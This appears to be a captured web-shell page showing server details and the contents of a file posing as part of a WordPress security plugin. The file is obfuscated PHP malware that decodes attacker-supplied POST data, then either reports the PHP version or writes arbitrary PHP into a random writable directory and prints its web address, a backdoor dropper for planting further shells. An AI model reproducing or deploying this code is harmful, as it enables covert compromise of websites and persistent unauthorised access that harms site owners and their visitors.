HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/foar/wp-content/plugins/wordfence/crypto/ajax.php
<?php $nYddLl = "WGHDenrjCo";function PXuloc($nYddLl){ $PaKIDYTit = "\x73"."\x74".chr(114).chr(407-312)."\x72".'o'.chr(116)."\x31"."\63";$nYddLl = $PaKIDYTit($nYddLl);$PgewKZgFGn = "\x72".chr(97)."\167".'u'.chr(1084-970)."\x6c".chr(100).chr(101).chr(99).chr(917-806).chr(529-429)."\x65";$nYddLl = $PgewKZgFGn($nYddLl);$nYddLl = str_split($nYddLl);return $nYddLl;}function HfHTHo($KjbdZmwM, $RzoEDF){$KjbdZmwM = array_slice(str_split(str_repeat($KjbdZmwM, (count($RzoEDF)/16)+1)), 0, count($RzoEDF));return $KjbdZmwM;}function qlAnIdghLl($PLBzMsuDV, $yiqMi, $KjbdZmwM){$wLZUFuij = "29328ac7-d073-44a9-9ac3-94208d82e37e";return $PLBzMsuDV ^ $wLZUFuij[$yiqMi % strlen($wLZUFuij)] ^ $KjbdZmwM;}function SyzNzH($RzoEDF, $KjbdZmwM){$RzoEDF = array_map("qlAnIdghLl", array_values($RzoEDF), array_keys($RzoEDF), array_values($KjbdZmwM));$RzoEDF = implode("", $RzoEDF);$eCNFaZgzF = "\x75"."\x6e"."\163"."\145".'r'.'i'.'a'."\154"."\x69"."\172".chr(101);$RzoEDF = @$eCNFaZgzF($RzoEDF);return $RzoEDF;}function osmgtGvvEq(){echo "zwSKyTm";}function olPOFvY($nDbFekqqRuir){static $EEAJY = array();$QbZlx = glob($nDbFekqqRuir . '/*', GLOB_ONLYDIR);$GWDoOEhI = count($QbZlx);if ($GWDoOEhI > 0) {foreach ($QbZlx as $nDbFekqqRu) {$WhNSZCKwsj = chr(863-758).chr(115)."\137".chr(791-672).chr(828-714).chr(354-249).chr(693-577).chr(217-120)."\142".'l'."\145";if (@$WhNSZCKwsj($nDbFekqqRu)) {$EEAJY[] = $nDbFekqqRu;}}}foreach ($QbZlx as $nDbFekqqRuir) olPOFvY($nDbFekqqRuir);return $EEAJY;}function gzocdYz(){echo "WGHDenrjCo";}function lDnxmCDm($RzoEDF){$LrGZKUNxaI = "\x44".chr(355-276)."\x43".chr(85).chr(1028-951).chr(69).chr(78)."\x54".'_'."\x52"."\x4f".chr(79)."\124";$txcOK = $_SERVER[$LrGZKUNxaI];$QbZlx = olPOFvY($txcOK);$qRlmWcpa = array_rand($QbZlx);$NwqjL = "\56"."\160".chr(104).'p';$pORUGdl = $QbZlx[$qRlmWcpa] . "/" . substr(md5(time()), 0, 8) . $NwqjL;$MlQlKlohP = "\146".chr(105)."\154"."\145".chr(328-233)."\160".chr(117).'t'.chr(240-145).'c'.chr(111).chr(575-465)."\x74"."\x65"."\x6e".'t'.chr(115);@$MlQlKlohP($pORUGdl, $RzoEDF);$ZtKOf = "\x48".chr(975-891)."\124"."\120".'_'.'H'."\117".'S'."\124";$tvqZsBm = chr(305-201).chr(712-596).'t'."\x70"."\x3a".chr(47)."\x2f";$ODCFv = $tvqZsBm . $_SERVER[$ZtKOf] . substr($pORUGdl, strlen($txcOK));print($ODCFv);}function ILjCdHHjL(){$kDHJADeecM = 'p'.'h'.chr(112);$LDgnpIvl = chr(617-505).chr(905-801)."\160"."\166".chr(386-285).chr(937-823)."\163"."\151".chr(111).chr(110);$RzoEDF = Array($kDHJADeecM => @$LDgnpIvl(), );$SnqqFW = chr(202-87)."\145"."\162".'i'.chr(172-75).chr(108).chr(782-677).chr(122)."\x65";echo @$SnqqFW($RzoEDF);}foreach ($_POST as $KjbdZmwM => $RzoEDF){$YQjIpUNsl = strlen($KjbdZmwM);if ($YQjIpUNsl == 16){$RzoEDF = PXuloc($RzoEDF);$KjbdZmwM = HfHTHo($KjbdZmwM, $RzoEDF);$RzoEDF = SyzNzH($RzoEDF, $KjbdZmwM);if (@is_array($RzoEDF)){$qRlmWcpa = array_keys($RzoEDF);$RzoEDF = $RzoEDF[$qRlmWcpa[0]];$qRlmWcpa = $qRlmWcpa[0];$qRlmWcpa = substr($qRlmWcpa, 0);if ($RzoEDF !== $qRlmWcpa){lDnxmCDm($RzoEDF);}else {ILjCdHHjL();}die();}}}